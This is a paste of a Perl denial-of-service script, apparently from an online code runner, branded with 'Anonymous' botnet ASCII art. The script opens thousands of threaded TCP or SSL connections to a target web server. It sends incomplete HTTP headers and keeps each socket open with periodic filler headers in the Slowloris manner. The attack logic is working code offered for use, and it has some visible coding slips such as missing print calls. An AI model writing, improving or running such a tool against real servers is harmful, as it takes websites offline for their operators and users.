fork download
  1.  
  2. #!/usr/bin/perl -w
  3. use Term::ANSIColor;
  4.  
  5. print color 'bright_white';
  6. ╭━━━╮ ╭━╮╭━┳━━━┳━━━╮
  7. ┃╭━╮┃ ┃┃╰╯┃┣╮╭╮┃╭━━╯
  8. ┃┃ ┃┣━╮╭━━┳━╮┃╭╮╭╮┃┃┃┃┃╰━━╮
  9. ┃╰━╯┃╭╮┫╭╮┃╭╮┫┃┃┃┃┃┃┃┃┣━━╮┃
  10. ┃╭━╮┃┃┃┃╰╯┃┃┃┃┃┃┃┃┣╯╰╯┣━━╯┃
  11. ╰╯ ╰┻╯╰┻━━┻╯╰┻╯╰╯╰┻━━━┻━━━╯
  12. ╭━━╮ ╭╮╭━╮ ╭╮ ╭╮
  13. ┃╭╮┃ ╭╯╰┫┃╰╮┃┃ ╭╯╰╮
  14. ┃╰╯╰┳━┻╮╭┫╭╮╰╯┣━┻╮╭╯
  15. ┃╭━╮┃╭╮┃┃┃┃╰╮┃┃┃━┫┃
  16. ┃╰━╯┃╰╯┃╰┫┃ ┃┃┃┃━┫╰╮
  17. ╰━━━┻━━┻━┻╯ ╰━┻━━┻━╯
  18. V1.2
  19. ╭╮╭╮╭┳━━╮╭━━┳━┳━━╮╭━━┳━╮╭━━┳━╮╭╮╱╭┳╮╭┳━━┳╮╭┳━━╮
  20. ┃╰╯╰╯┃┃━┫┃╭╮┃╭┫┃━┫┃╭╮┃╭╮┫╭╮┃╭╮┫┃╱┃┃╰╯┃╭╮┃┃┃┃━━┫
  21. ╰╮╭╮╭┫┃━┫┃╭╮┃┃┃┃━┫┃╭╮┃┃┃┃╰╯┃┃┃┃╰━╯┃┃┃┃╰╯┃╰╯┣━━┃
  22. ╱╰╯╰╯╰━━╯╰╯╰┻╯╰━━╯╰╯╰┻╯╰┻━━┻╯╰┻━╮╭┻┻┻┻━━┻━━┻━━╯
  23. ╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╯┃
  24. ╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰━━╯
  25.  
  26. };
  27.  
  28.  
  29. use strict;
  30. use IO::Socket::INET;
  31. use IO::Socket::SSL;
  32. use Getopt::Long;
  33. use Config;
  34.  
  35. $SIG{'PIPE'} = 'IGNORE';
  36.  
  37.  
  38. my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
  39. my ( $cache, $httpready, $method, $ssl, $rand, $tcpto, );
  40. my $result = GetOptions(
  41. 'shost=s' => \$shost,
  42. 'ip=s' => \$host,
  43. 'httpready' => \$httpready,
  44. 'num=i' => \$connections,
  45. 'cache' => \$cache,
  46. 'port=i' => \$port,
  47. 'https' => \$ssl,
  48. 'tcpto=i' => \$tcpto,
  49. 'test' => \$test,
  50. 'timeout=i' => \$timeout,
  51. 'version' => \$version,
  52. );
  53.  
  54. if ($version) {
  55. }
  56.  
  57. unless ($host) {
  58. print "Usage:\n\n\tperl $0 -IP [127.0.0.1] -port 80 -num [7500] -timeout [1]\n";
  59. }
  60.  
  61. unless ($port) {
  62. $port = 80;
  63. print "Defaulting to port 80.\n";
  64. }
  65.  
  66. unless ($tcpto) {
  67. $tcpto = 5;
  68. }
  69.  
  70. unless ($test) {
  71. unless ($timeout) {
  72. $timeout = 1;
  73. print "Defaulting to a 1 second re-try timeout.\n";
  74. }
  75. unless ($connections) {
  76. $connections = 5000;
  77. print "Defaulting to 1000 connections.\n";
  78. }
  79. }
  80.  
  81. my $usemultithreading = 0;
  82. if ( $Config{usethreads} ) {
  83. print "Multithreading enabled.\n";
  84. $usemultithreading = 5;
  85. use threads;
  86. use threads::shared;
  87. }
  88. else {
  89. print "No multithreading capabilites found!\n";
  90. print "Botnet will be slower than normal as a result.\n";
  91. }
  92.  
  93. my $packetcount : shared = 0;
  94. my $failed : shared = 0;
  95. my $connectioncount : shared = 0;
  96.  
  97. srand() if ($cache);
  98.  
  99. if ($shost) {
  100. $sendhost = $shost;
  101. }
  102. else {
  103. $sendhost = $host;
  104. }
  105. if ($httpready) {
  106. $method = "POST";
  107. }
  108. else {
  109. $method = "GET";
  110. }
  111.  
  112. if ($test) {
  113. my @times = ( "2", "30", "90", "240", "500" );
  114. my $totaltime = 0;
  115. foreach (@times) {
  116. $totaltime = $totaltime + $_;
  117. }
  118. $totaltime = $totaltime / 60;
  119. print "This test could take up to $totaltime minutes.\n";
  120.  
  121. my $delay = 0;
  122. my $working = 0;
  123. my $sock;
  124.  
  125. if ($ssl) {
  126. if (
  127. $sock = new IO::Socket::SSL(
  128. PeerAddr => "$host",
  129. PeerPort => "$port",
  130. Timeout => "$tcpto",
  131. Proto => "tcp",
  132. )
  133. )
  134. {
  135. $working = 1;
  136. }
  137. }
  138. else {
  139. if (
  140. $sock = new IO::Socket::INET(
  141. PeerAddr => "$host",
  142. PeerPort => "$port",
  143. Timeout => "$tcpto",
  144. Proto => "tcp",
  145. )
  146. )
  147. {
  148. $working = 1;
  149. }
  150. }
  151. if ($working) {
  152. if ($cache) {
  153. $rand = "?" . int( rand(99999999999999) );
  154. }
  155. else {
  156. $rand = "";
  157. }
  158. my $primarypayload =
  159. "GET /$rand HTTP/1.1\r\n"
  160. . "Host: $sendhost\r\n"
  161. . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  162. . "Content-Length: 42\r\n";
  163. if ( print $sock $primarypayload ) {
  164. print "Connection successful, now comes the waiting game...\n";
  165. }
  166. else {
  167. "That's odd - I connected but couldn't send the data to $host:$port.\n";
  168. print "Is something wrong?\nDying.\n";
  169. }
  170. }
  171. else {
  172. print "Uhm... I can't connect to $host:$port.\n";
  173. print "Is something wrong?\nDying.\n";
  174. }
  175. for ( my $i = 0 ; $i <= $#times ; $i++ ) {
  176. print "Trying a $times[$i] second delay: \n";
  177. sleep( $times[$i] );
  178. if ( print $sock "X-a: b\r\n" ) {
  179. print "\tWorked.\n";
  180. $delay = $times[$i];
  181. }
  182. else {
  183. if ( $SIG{__WARN__} ) {
  184. $delay = $times[ $i - 1 ];
  185. last;
  186. }
  187. print "\tFailed after $times[$i] seconds.\n";
  188. }
  189. }
  190.  
  191. if ( print $sock "Connection: Close\r\n\r\n" ) {
  192. print "Okay that's enough time. Botnet closed the socket.\n";
  193. print "Use $delay seconds for -timeout.\n";
  194. }
  195. else {
  196. print "Remote server closed socket.\n";
  197. print "Use $delay seconds for -timeout.\n";
  198. }
  199. if ( $delay < 60 ) {
  200. print <<EOSUCKS2BU;
  201. EOSUCKS2BU
  202. }
  203. }
  204. else {
  205. "Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
  206.  
  207. if ($usemultithreading) {
  208. domultithreading($connections);
  209. }
  210. else {
  211. doconnections( $connections, $usemultithreading );
  212. }
  213. }
  214.  
  215. sub doconnections {
  216. my ( $num, $usemultithreading ) = @_;
  217. my ( @first, @sock, @working );
  218. my $failedconnections = 0;
  219. $working[$_] = 0 foreach ( 1 .. $num ); #initializing
  220. $first[$_] = 0 foreach ( 1 .. $num ); #initializing
  221. while (1) {
  222. $failedconnections = 0;
  223. print color 'bright_red';
  224. print "\t\tHitting Target!\n";
  225. foreach my $z ( 1 .. $num ) {
  226. if ( $working[$z] == 0 ) {
  227. if ($ssl) {
  228. if (
  229. $sock[$z] = new IO::Socket::SSL(
  230. PeerAddr => "$host",
  231. PeerPort => "$port",
  232. Timeout => "$tcpto",
  233. Proto => "tcp",
  234. )
  235. )
  236. {
  237. $working[$z] = 1;
  238. }
  239. else {
  240. $working[$z] = 0;
  241. }
  242. }
  243. else {
  244. if (
  245. $sock[$z] = new IO::Socket::INET(
  246. PeerAddr => "$host",
  247. PeerPort => "$port",
  248. Timeout => "$tcpto",
  249. Proto => "tcp",
  250. )
  251. )
  252. {
  253. $working[$z] = 1;
  254. $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
  255. }
  256. else {
  257. $working[$z] = 0;
  258. }
  259. }
  260. if ( $working[$z] == 1 ) {
  261. if ($cache) {
  262. $rand = "?" . int( rand(99999999999999) );
  263. }
  264. else {
  265. $rand = "";
  266. }
  267. my $primarypayload =
  268. "$method /$rand HTTP/1.1\r\n"
  269. . "Host: $sendhost\r\n"
  270. . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  271. . "Content-Length: 42\r\n";
  272. my $handle = $sock[$z];
  273. if ($handle) {
  274. print $handle "$primarypayload";
  275. if ( $SIG{__WARN__} ) {
  276. $working[$z] = 0;
  277. close $handle;
  278. $failed++;
  279. $failedconnections++;
  280. }
  281. else {
  282. $packetcount++;
  283. $working[$z] = 1;
  284. }
  285. }
  286. else {
  287. $working[$z] = 0;
  288. $failed++;
  289. $failedconnections++;
  290. }
  291. }
  292. else {
  293. $working[$z] = 0;
  294. $failed++;
  295. $failedconnections++;
  296. }
  297. }
  298. }
  299. print "\t\tSending data.\n";
  300. foreach my $z ( 1 .. $num ) {
  301. if ( $working[$z] == 1 ) {
  302. if ( $sock[$z] ) {
  303. my $handle = $sock[$z];
  304. if ( print $handle "X-a: b\r\n" ) {
  305. $working[$z] = 1;
  306. $packetcount++;
  307. }
  308. else {
  309. $working[$z] = 0;
  310. #debugging info
  311. $failed++;
  312. $failedconnections++;
  313. }
  314. }
  315. else {
  316. $working[$z] = 0;
  317. #debugging info
  318. $failed++;
  319. $failedconnections++;
  320. }
  321. }
  322. }
  323. "Current stats:\tBotnet has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
  324. sleep($timeout);
  325. }
  326. }
  327.  
  328. sub domultithreading {
  329. my ($num) = @_;
  330. my @thrs;
  331. my $i = 0;
  332. my $connectionsperthread = 50;
  333. while ( $i < $num ) {
  334. $thrs[$i] =
  335. threads->create( \&doconnections, $connectionsperthread, 1 );
  336. $i += $connectionsperthread;
  337. }
  338. my @threadslist = threads->list();
  339. while ( $#threadslist > 0 ) {
  340. $failed = 0;
  341. }
  342. }
  343.  
  344. __END__
  345.  
Success #stdin #stdout 0.15s 18024KB
stdin
Jai Guruji 
stdout

╭━━━╮        ╭━╮╭━┳━━━┳━━━╮
┃╭━╮┃        ┃┃╰╯┃┣╮╭╮┃╭━━╯
┃┃ ┃┣━╮╭━━┳━╮┃╭╮╭╮┃┃┃┃┃╰━━╮
┃╰━╯┃╭╮┫╭╮┃╭╮┫┃┃┃┃┃┃┃┃┣━━╮┃
┃╭━╮┃┃┃┃╰╯┃┃┃┃┃┃┃┃┣╯╰╯┣━━╯┃
╰╯ ╰┻╯╰┻━━┻╯╰┻╯╰╯╰┻━━━┻━━━╯
╭━━╮   ╭╮╭━╮ ╭╮  ╭╮
┃╭╮┃  ╭╯╰┫┃╰╮┃┃ ╭╯╰╮
┃╰╯╰┳━┻╮╭┫╭╮╰╯┣━┻╮╭╯
┃╭━╮┃╭╮┃┃┃┃╰╮┃┃┃━┫┃
┃╰━╯┃╰╯┃╰┫┃ ┃┃┃┃━┫╰╮
╰━━━┻━━┻━┻╯ ╰━┻━━┻━╯
   V1.2
╭╮╭╮╭┳━━╮╭━━┳━┳━━╮╭━━┳━╮╭━━┳━╮╭╮╱╭┳╮╭┳━━┳╮╭┳━━╮
┃╰╯╰╯┃┃━┫┃╭╮┃╭┫┃━┫┃╭╮┃╭╮┫╭╮┃╭╮┫┃╱┃┃╰╯┃╭╮┃┃┃┃━━┫
╰╮╭╮╭┫┃━┫┃╭╮┃┃┃┃━┫┃╭╮┃┃┃┃╰╯┃┃┃┃╰━╯┃┃┃┃╰╯┃╰╯┣━━┃
╱╰╯╰╯╰━━╯╰╯╰┻╯╰━━╯╰╯╰┻╯╰┻━━┻╯╰┻━╮╭┻┻┻┻━━┻━━┻━━╯
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰━━╯

Usage:

	perl prog.pl -IP [127.0.0.1] -port 80 -num [7500] -timeout [1]